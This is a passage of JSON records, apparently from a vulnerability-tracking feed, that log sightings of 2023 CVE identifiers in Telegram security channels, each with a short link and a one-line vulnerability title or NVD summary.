"2024-02-14T20:26:25.000000Z"}, {"uuid": "12fdb234-a636-4441-9490-87e8cc7f0b2c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48985", "type": "seen", "source": "https://t.me/ctinow/184792", "content": "https://ift.tt/Zu8410g\nCVE-2023-48985", "creation_timestamp": "2024-02-14T16:51:52.000000Z"}, {"uuid": "20e354ba-f4de-48f0-8458-6f092be392eb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48339", "type": "seen", "source": "https://t.me/ctinow/182962", "content": "https://ift.tt/XblVP7k\nCVE-2023-48339 | Unisoc S8000 JPG Driver information disclosure", "creation_timestamp": "2024-02-12T09:41:23.000000Z"}, {"uuid": "48b79ff6-d31f-4fe7-9132-2f96550d4e4f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48858", "type": "seen", "source": "https://t.me/ctinow/182911", "content": "https://ift.tt/UgJipS8\nCVE-2023-48858 | Armex ABO.CMS 5.9 Login Page login.php cross site scripting", "creation_timestamp": "2024-02-12T07:02:29.000000Z"}, {"uuid": "9bf0a343-08aa-4b47-9c52-aac774938e0b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48364", "type": "seen", "source": "https://t.me/ctinow/183697", "content": "https://ift.tt/Sx7OE4j\nCVE-2023-48364", "creation_timestamp": "2024-02-13T10:21:56.000000Z"}, {"uuid": "aa410b6d-dce5-46e9-b379-3497d227a850", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48363", "type": "seen", "source": "https://t.me/ctinow/183696", "content": "https://ift.tt/0lPZtr5\nCVE-2023-48363", "creation_timestamp": "2024-02-13T10:21:55.000000Z"}, {"uuid": "73b2b11e-5534-4a14-a1c4-afa8fb1e9fdc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48986", "type": "seen", "source": "https://t.me/ctinow/184793", "content": "https://ift.tt/NyWf9lu\nCVE-2023-48986", "creation_timestamp": "2024-02-14T16:51:53.000000Z"}, {"uuid": "17643fe8-fdb1-49fd-b8f8-b9f24fd6a150", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48354", "type": "seen", "source": "https://t.me/ctinow/182963", "content": "https://ift.tt/gxAtd40\nCVE-2023-48354 | Unisoc S8000 Telephone Service information disclosure", "creation_timestamp": "2024-02-12T09:41:24.000000Z"}, {"uuid": "6787a29d-73fd-416b-9bce-ea1631a2c4bc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48432", "type": "seen", "source": "https://t.me/ctinow/183971", "content": "https://ift.tt/Tydmwlf\nCVE-2023-48432", "creation_timestamp": "2024-02-13T17:22:02.000000Z"}, {"uuid": "78f48666-8198-4e35-8daa-4cd3f7cfc08a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48297", "type": "seen", "source": "https://t.me/ctinow/178338", "content": "https://ift.tt/MROJwXH\nCVE-2023-48297 | Discourse up to 3.1.3/3.2.0.beta4 Message Serializer resource consumption (GHSA-hf2v-r5xm-8p37)", "creation_timestamp": "2024-02-03T00:51:34.000000Z"}, {"uuid": "b2704e5b-7ee0-4161-be53-00dd636a3b67", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48359", "type": "seen", "source": "https://t.me/ctinow/182986", "content": "https://ift.tt/VwQEAhL\nCVE-2023-48359 | Unisoc S8000 Autotest Driver out-of-bounds write", "creation_timestamp": "2024-02-12T10:11:56.000000Z"}, {"uuid": "5ba10fe2-8c7e-4577-ab31-1b7471947ccc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48358", "type": "seen", "source": "https://t.me/ctinow/182985", "content": "https://ift.tt/vnfBm4J\nCVE-2023-48358 | Unisoc S8000 DRM Driver out-of-bounds write", "creation_timestamp": "2024-02-12T10:11:55.000000Z"}, {"uuid": "689ef900-0b55-4c58-b001-b6de324696ad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48357", "type": "seen", "source": "https://t.me/ctinow/182984", "content": "https://ift.tt/64PXJTn\nCVE-2023-48357 | Unisoc S8000 vsp Driver out-of-bounds write", "creation_timestamp": "2024-02-12T10:11:54.000000Z"}, {"uuid": "c399a4fd-562f-46ec-9646-e86382f5ba48", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48356", "type": "seen", "source": "https://t.me/ctinow/182983", "content": "https://ift.tt/4X2RBIq\nCVE-2023-48356 | Unisoc S8000 JPG Driver out-of-bounds write", "creation_timestamp": "2024-02-12T10:11:52.000000Z"}, {"uuid": "c979fe74-f490-41ca-891c-16202d730b7e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48355", "type": "seen", "source": "https://t.me/ctinow/182982", "content": "https://ift.tt/1eutGzn\nCVE-2023-48355 | Unisoc S8000 JPG Driver out-of-bounds write", "creation_timestamp": "2024-02-12T10:11:51.000000Z"}, {"uuid": "4d625ff7-546c-4deb-9d9e-a04438a8e780", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48352", "type": "seen", "source": "https://t.me/ctinow/182981", "content": "https://ift.tt/AIKq8OM\nCVE-2023-48352 | Unisoc S8000 Phasecheckserver out-of-bounds write", "creation_timestamp": "2024-02-12T10:11:50.000000Z"}, {"uuid": "bb69912f-f8d3-4b81-a5c9-b821299d1c46", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48353", "type": "seen", "source": "https://t.me/ctinow/182980", "content": "https://ift.tt/IaNiDwq\nCVE-2023-48353 | Unisoc S8000 vsp Driver denial of service", "creation_timestamp": "2024-02-12T10:11:49.000000Z"}, {"uuid": "59dc3fc3-e788-4f55-9f1b-0d0de3afd851", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4818", "type": "seen", "source": "https://t.me/ctinow/178540", "content": "https://ift.tt/KRMyBuj\nCVE-2023-4818 | PAX Technology A920 USB input validation", "creation_timestamp": "2024-02-03T13:16:15.000000Z"}, {"uuid": "47983ca1-1b02-4955-960e-2fd7b6f2022f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48349", "type": "seen", "source": "https://t.me/ctinow/182979", "content": "https://ift.tt/ePuBiWV\nCVE-2023-48349 | Unisoc S8000 Video Decoder out-of-bounds write", "creation_timestamp": "2024-02-12T10:11:48.000000Z"}, {"uuid": "41d363fa-0ed9-42d1-adc7-e1b24ec3c849", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48351", "type": "seen", "source": "https://t.me/ctinow/182978", "content": "https://ift.tt/mQaER4d\nCVE-2023-48351 | Unisoc S8000 Video Decoder out-of-bounds write", "creation_timestamp": "2024-02-12T10:11:47.000000Z"}, {"uuid": "69cdffa0-47de-4421-8c83-c0c83913189b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48348", "type": "seen", "source": "https://t.me/ctinow/182977", "content": "https://ift.tt/TK4ARl3\nCVE-2023-48348 | Unisoc S8000 Video Decoder out-of-bounds write", "creation_timestamp": "2024-02-12T10:11:45.000000Z"}, {"uuid": "83434e4c-c84e-4b77-86fe-7118e897d679", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48350", "type": "seen", "source": "https://t.me/ctinow/182976", "content": "https://ift.tt/UmQX5V3\nCVE-2023-48350 | Unisoc S8000 Video Decoder out-of-bounds write", "creation_timestamp": "2024-02-12T10:11:44.000000Z"}, {"uuid": "5022e4dd-eaac-45fe-aa7f-f7a1401874c8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48346", "type": "seen", "source": "https://t.me/ctinow/182971", "content": "https://ift.tt/z48VGUp\nCVE-2023-48346 | Unisoc S8000 Video Decoder denial of service", "creation_timestamp": "2024-02-12T09:41:33.000000Z"}, {"uuid": "f0f7a535-b9fe-4625-afb4-7e37dab0c5f3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48344", "type": "seen", "source": "https://t.me/ctinow/182970", "content": "https://ift.tt/5cEn6OH\nCVE-2023-48344 | Unisoc S8000 Video Decoder out-of-bounds", "creation_timestamp": "2024-02-12T09:41:32.000000Z"}, {"uuid": "66ab85d2-1f1e-4290-a864-98d91fdd39f6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48345", "type": "seen", "source": "https://t.me/ctinow/182969", "content": "https://ift.tt/CEwIf8p\nCVE-2023-48345 | Unisoc S8000 Video Decoder out-of-bounds", "creation_timestamp": "2024-02-12T09:41:31.000000Z"}, {"uuid": "075555b3-76b5-481b-b7a2-be0e5a55b8e6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48343", "type": "seen", "source": "https://t.me/ctinow/182968", "content": "https://ift.tt/qmY61Io\nCVE-2023-48343 | Unisoc S8000 Video Decoder out-of-bounds write", "creation_timestamp": "2024-02-12T09:41:30.000000Z"}, {"uuid": "2ba90761-f388-4aee-98a6-af14d7d474d6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48342", "type": "seen", "source": "https://t.me/ctinow/182967", "content": "https://ift.tt/NzTh51E\nCVE-2023-48342 | Unisoc S8000 Media Service out-of-bounds write", "creation_timestamp": "2024-02-12T09:41:29.000000Z"}, {"uuid": "7190cb47-bf04-4019-a9a3-98bc81644538", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48341", "type": "seen", "source": "https://t.me/ctinow/182966", "content": "https://ift.tt/KYIJdfv\nCVE-2023-48341 | Unisoc S8000 Video Decoder out-of-bounds", "creation_timestamp": "2024-02-12T09:41:27.000000Z"}, {"uuid": "03bc014c-98f7-4a71-9716-12828a4df31e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48340", "type": "seen", "source": "https://t.me/ctinow/182965", "content": "https://ift.tt/JEVQMcW\nCVE-2023-48340 | Unisoc S8000 Video Decoder out-of-bounds write", "creation_timestamp": "2024-02-12T09:41:26.000000Z"}, {"uuid": "b0c7a3d3-4e52-4fd9-b51b-07c695137fb0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48419", "type": "seen", "source": "https://t.me/ctinow/171771", "content": "https://ift.tt/TkJdxs2\nCVE-2023-48419 | Google Nest Mini 1.56.356012 WiFi privileges management", "creation_timestamp": "2024-01-23T08:51:27.000000Z"}, {"uuid": "b7fa76d3-84db-4994-86f2-21f5bad4100c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4806", "type": "seen", "source": "https://t.me/ctinow/173506", "content": "https://ift.tt/HgUjBTu\nCVE-2023-4806 GNU C Library (glibc) Vulnerability in NetApp Products", "creation_timestamp": "2024-01-25T15:26:10.000000Z"}, {"uuid": "a24e8f72-3732-4bc7-a61b-b4799eae348c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48104", "type": "seen", "source": "https://t.me/ctinow/178601", "content": "https://ift.tt/OXmeuGa\nCVE-2023-48104 | Alinto SOGo 5.8.0 cross site scripting", "creation_timestamp": "2024-02-03T16:51:38.000000Z"}, {"uuid": "ef540285-60f8-499d-bb6e-f2bcbd4229f2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48909", "type": "seen", "source": "https://t.me/ctinow/177989", "content": "https://ift.tt/a7QZrzA\nCVE-2023-48909 | Jave2 3.3.1 FFmpeg Privilege Escalation", "creation_timestamp": "2024-02-02T09:06:44.000000Z"}, {"uuid": "e760e1f4-f8a0-403f-af31-14fdb99fa7f4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48793", "type": "seen", "source": "https://t.me/ctinow/177889", "content": "https://ift.tt/z6Ag3qd\nCVE-2023-48793", "creation_timestamp": "2024-02-02T03:21:47.000000Z"}, {"uuid": "b762e184-32b3-469e-94fd-375f447ee061", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48792", "type": "seen", "source": "https://t.me/ctinow/177888", "content": "https://ift.tt/kVFBetn\nCVE-2023-48792", "creation_timestamp": "2024-02-02T03:21:46.000000Z"}, {"uuid": "2251a12f-a67e-4057-b182-37024432d7fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4832", "type": "seen", "source": "https://t.me/cibsecurity/70547", "content": "\u203c CVE-2023-4832 \u203c\n\nImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Aceka Company Management allows SQL Injection.This issue affects Company Management: before 3072 .\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-14T22:43:53.000000Z"}, {"uuid": "c0e6e3cd-6142-453b-af61-b920e98c16aa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4812", "type": "seen", "source": "https://t.me/ctinow/178199", "content": "https://ift.tt/DLUupam\nCVE-2023-4812 | GitLab Enterprise Edition up to 16.5.5/16.6.3/16.7.1 Merge Request access control (Issue 42439)", "creation_timestamp": "2024-02-02T17:41:11.000000Z"}, {"uuid": "da72a12a-ac47-4ba8-b49b-6dfc2c3fd95a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48645", "type": "seen", "source": "https://t.me/ctinow/178016", "content": "https://ift.tt/FLlMH0I\nCVE-2023-48645", "creation_timestamp": "2024-02-02T10:31:48.000000Z"}, {"uuid": "a72ee11e-a5fd-4569-93d3-7051126d8ee2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4841", "type": "seen", "source": "https://t.me/cibsecurity/70428", "content": "\u203c CVE-2023-4841 \u203c\n\nThe Feeds for YouTube for WordPress plugin for WordPress is vulnerable to Stored Cross-Site Scripting via 'youtube-feed' shortcode in versions up to, and including, 2.1 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers with contributor-level and above permissions to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-14T07:24:13.000000Z"}, {"uuid": "eb8c1eb8-7786-42c9-b278-b9d9be89bc69", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48201", "type": "seen", "source": "https://t.me/ctinow/177371", "content": "https://ift.tt/4xWrL1f\nCVE-2023-48201 Exploit", "creation_timestamp": "2024-02-01T08:16:41.000000Z"}, {"uuid": "a6b450f3-48fb-4844-8bc9-40e15434631f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48202", "type": "seen", "source": "https://t.me/ctinow/177370", "content": "https://ift.tt/SeqXopF\nCVE-2023-48202 Exploit", "creation_timestamp": "2024-02-01T08:16:40.000000Z"}, {"uuid": "01bee9f4-1c4e-452a-b0d1-8da84c902173", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48418", "type": "seen", "source": "https://t.me/ctinow/171844", "content": "https://ift.tt/EC29oJM\nCVE-2023-48418 | Google Pixel Watch 11 DeviceVersionFragment.java checkDebuggingDisallowed privileges management (Bulletin 176446)", "creation_timestamp": "2024-01-23T10:56:17.000000Z"}, {"uuid": "ad6904d6-ac3e-4b3a-8717-509e241f18ca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48265", "type": "seen", "source": "https://t.me/ctinow/174904", "content": "https://ift.tt/C2EXdpv\nCVE-2023-48265 | Rexroth Nexo Cordless Nutrunner up to V1500-SP2 Network Request stack-based overflow", "creation_timestamp": "2024-01-28T11:26:43.000000Z"}, {"uuid": "93a9578f-d64b-48f6-9801-b4cacc1cb07a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48264", "type": "seen", "source": "https://t.me/ctinow/174903", "content": "https://ift.tt/PRmaL69\nCVE-2023-48264 | Rexroth Nexo Cordless Nutrunner up to V1500-SP2 Network Request stack-based overflow", "creation_timestamp": "2024-01-28T11:26:42.000000Z"}, {"uuid": "6761e198-f573-45c7-a5be-5c697e09f6e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48263", "type": "seen", "source": "https://t.me/ctinow/174902", "content": "https://ift.tt/RTeiG7c\nCVE-2023-48263 | Rexroth Nexo Cordless Nutrunner up to V1500-SP2 Network Request heap-based overflow", "creation_timestamp": "2024-01-28T11:26:41.000000Z"}, {"uuid": "3b233679-8d80-4a84-a2fc-024002fc458d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48262", "type": "seen", "source": "https://t.me/ctinow/174899", "content": "https://ift.tt/hac5xDY\nCVE-2023-48262 | Rexroth Nexo Cordless Nutrunner up to V1500-SP2 Network Request stack-based overflow", "creation_timestamp": "2024-01-28T10:56:19.000000Z"}, {"uuid": "0e0ce94a-6990-4cde-a6f3-89eb3af5b2a1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48255", "type": "seen", "source": "https://t.me/ctinow/174897", "content": "https://ift.tt/MiCLEm0\nCVE-2023-48255 | Rexroth Nexo Cordless Nutrunner up to V1500-SP2 URL cross site scripting", "creation_timestamp": "2024-01-28T10:56:16.000000Z"}, {"uuid": "ac2db5a1-32c3-428f-bb5d-10da86cce6c7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48257", "type": "seen", "source": "https://t.me/ctinow/174896", "content": "https://ift.tt/gvIRLym\nCVE-2023-48257 | Rexroth Nexo Cordless Nutrunner up to V1500-SP2 HTTP Request weak credentials", "creation_timestamp": "2024-01-28T10:56:15.000000Z"}, {"uuid": "5ebe0db8-f5ed-44fe-9739-c84ca6f1409d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48244", "type": "seen", "source": "https://t.me/ctinow/174894", "content": "https://ift.tt/Z10Q7oG\nCVE-2023-48244 | Rexroth Nexo Cordless Nutrunner up to V1500-SP2 URL cross site scripting", "creation_timestamp": "2024-01-28T10:56:13.000000Z"}, {"uuid": "4a1e1937-1c65-4226-a3c9-ef0148676fb8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48250", "type": "seen", "source": "https://t.me/ctinow/174895", "content": "https://ift.tt/WYSho20\nCVE-2023-48250 | Rexroth Nexo Cordless Nutrunner up to V1500-SP2 hard-coded credentials", "creation_timestamp": "2024-01-28T10:56:14.000000Z"}, {"uuid": "2acd1901-fffa-44f9-8023-872b50c54313", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48909", "type": "seen", "source": "https://t.me/ctinow/171363", "content": "https://ift.tt/aznoJLU\nCVE-2023-48909 Exploit", "creation_timestamp": "2024-01-22T19:17:01.000000Z"}, {"uuid": "2846395b-dd40-45a3-a491-294fd406b203", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48118", "type": "seen", "source": "https://t.me/ctinow/171395", "content": "https://ift.tt/Q2RVO37\nCVE-2023-48118", "creation_timestamp": "2024-01-22T20:26:19.000000Z"}, {"uuid": "fbcc42d9-de30-40fd-ba72-e85ffaa70fcc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48360", "type": "seen", "source": "https://t.me/ctinow/171283", "content": "https://ift.tt/7TmJE1Y\nCVE-2023-48360 | OpenHarmony up to 3.2.2 Multimedia Player use after free", "creation_timestamp": "2024-01-22T16:37:39.000000Z"}, {"uuid": "feaa14a4-10b7-41b1-9abd-e8285c745c08", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48261", "type": "seen", "source": "https://t.me/ctinow/174926", "content": "https://ift.tt/k52VF4A\nCVE-2023-48261 | Rexroth Nexo Cordless Nutrunner up to V1500-SP2 HTTP Request sql injection", "creation_timestamp": "2024-01-28T12:56:28.000000Z"}, {"uuid": "91a8999c-3824-415f-b6cc-b5319d9ced22", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48260", "type": "seen", "source": "https://t.me/ctinow/174925", "content": "https://ift.tt/CXOrc2h\nCVE-2023-48260 | Rexroth Nexo Cordless Nutrunner up to V1500-SP2 HTTP Request sql injection", "creation_timestamp": "2024-01-28T12:56:27.000000Z"}, {"uuid": "a7d20a2d-af1f-4248-ac55-341d02cefca0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48258", "type": "seen", "source": "https://t.me/ctinow/174923", "content": "https://ift.tt/NjgHLn8\nCVE-2023-48258 | Rexroth Nexo Cordless Nutrunner up to V1500-SP2 URL cross-site request forgery", "creation_timestamp": "2024-01-28T12:56:25.000000Z"}, {"uuid": "d747bb65-7c70-4da2-be0d-8a7e9d4bcf4a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48256", "type": "seen", "source": "https://t.me/ctinow/174918", "content": "https://ift.tt/6IZUbKM\nCVE-2023-48256 | Rexroth Nexo Cordless Nutrunner up to V1500-SP2 URL response splitting", "creation_timestamp": "2024-01-28T12:26:30.000000Z"}, {"uuid": "559d4dce-70de-424c-8c6d-598a398849ce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48254", "type": "seen", "source": "https://t.me/ctinow/174917", "content": "https://ift.tt/3hSmIQi\nCVE-2023-48254 | Rexroth Nexo Cordless Nutrunner up to V1500-SP2 URL cross site scripting", "creation_timestamp": "2024-01-28T12:26:29.000000Z"}, {"uuid": "ae43f25d-f8dd-4392-b9d4-5ea4d758277e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48251", "type": "seen", "source": "https://t.me/ctinow/174906", "content": "https://ift.tt/08udm9h\nCVE-2023-48251 | Rexroth Nexo Cordless Nutrunner up to V1500-SP2 hard-coded credentials", "creation_timestamp": "2024-01-28T11:26:45.000000Z"}, {"uuid": "01aa39b9-884b-49e8-b0e8-e06e372c7d1f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4814", "type": "seen", "source": "https://t.me/cibsecurity/70434", "content": "\u203c CVE-2023-4814 \u203c\n\nA Privilege escalation vulnerability exists in Trellix Windows DLP endpoint for windows which can be abused to delete any file/folder for which the user does not have permission to.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-14T12:24:26.000000Z"}, {"uuid": "4bc8af0f-50b6-43e5-93dd-ce7958a45bab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48795", "type": "seen", "source": "https://t.me/ctinow/175668", "content": "https://ift.tt/ascHhY9\nDSA-2024-021: iDRAC 8 and iDRAC 9 Security Update for CVE-2023-48795", "creation_timestamp": "2024-01-30T03:46:44.000000Z"}, {"uuid": "1f02e1d1-9828-4ad2-8577-524016c4ba68", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48131", "type": "seen", "source": "https://t.me/ctinow/176141", "content": "https://ift.tt/OEmyaj4\nCVE-2023-48131 Exploit", "creation_timestamp": "2024-01-30T18:17:05.000000Z"}, {"uuid": "833ae02c-7f6a-416a-9ac0-01760fc9efad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48129", "type": "seen", "source": "https://t.me/ctinow/174069", "content": "https://ift.tt/rvqTeNQ\nCVE-2023-48129", "creation_timestamp": "2024-01-26T09:26:38.000000Z"}, {"uuid": "d8524d4f-0839-4920-8df9-c4b95788843c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48130", "type": "seen", "source": "https://t.me/ctinow/176142", "content": "https://ift.tt/jcO3DT1\nCVE-2023-48130 Exploit", "creation_timestamp": "2024-01-30T18:17:06.000000Z"}, {"uuid": "59650c56-73cc-45cb-bce0-97ce7ba953c3", "vulnerability_lookup_origin": 